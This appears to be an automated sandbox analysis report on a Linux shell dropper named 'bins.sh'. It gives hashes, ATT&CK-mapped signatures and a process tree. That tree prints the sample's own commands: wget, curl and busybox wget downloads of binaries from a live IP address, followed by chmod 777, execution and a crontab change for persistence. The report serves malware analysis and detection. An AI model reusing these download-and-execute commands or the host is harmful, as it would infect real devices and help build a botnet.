65504742239889b8bc2955de8e775278370a6b357d9cde732b795761a1b80eb8

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/12/2024, 19:31

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General

Target

bins.sh
Size

10KB
MD5

8c689ff7fc20ca3b310ce0077e8f1812
SHA1

8884c1c04d514d14a0ea38c7388594ef699d504d
SHA256

65504742239889b8bc2955de8e775278370a6b357d9cde732b795761a1b80eb8
SHA512

aa45a2b371176bdb114c4c640507c8a43140b835a04175261c44ac8d8fec28f13e729308c26b55ae45dad94335cb51670d34899a571c04f4bf8223772e246767
SSDEEP

192:h3H23fjFxXvHeHzP6nBXPuPrMaDuUxUhUCUfBUtU+RvHeHzJXPuPrR0RUxUhUCUi:h3H23fjFSUBXPuPrMaDuUxUhUCUfBUt0

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2118) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
684	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	685	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Renames itself 1 IoCs

pid	Process
686	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Fr24vp	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/21/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/904/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/948/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/954/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/967/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/990/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/997/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/20/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/933/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/995/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/698/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/880/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/897/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1014/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1035/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1093/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/784/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1057/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/262/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/774/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/789/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/792/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/826/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/992/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1034/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/697/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/790/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/945/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/138/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/715/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/759/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/866/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/996/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1013/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1066/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/111/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/644/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/813/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/922/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/934/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/974/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/820/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/781/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1054/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1058/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/140/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/648/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/733/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/840/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/22/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/765/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/823/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/844/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/962/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1036/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/1050/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/980/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/991/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/266/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/894/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/955/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/953/cmdline	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	wget
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	curl
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:651
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  ./GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:685
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:687
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:688
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:689
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:690
- /bin/rm
  rm GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  PID:698
- /usr/bin/wget
  wget http://37.44.238.68/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  PID:701

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.Fr24vp

Filesize
210B

MD5
0863467c1aa5ffafaebf14f3671161bc

SHA1
c57bfe66c06e0caf5c484a360a20fb361b5f9733

SHA256
ab86345dd834022555ae5ab3cebb8d1b774dd91343690217bce05da2196994b0

SHA512
36f9caa27da3fa40465c050e57400cc1aef5695f94e910568cfeb7653121897ecbfcd01d591ca332417a3f53a5300605dbfe6f9dda45ae036c70624924a8ec6c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads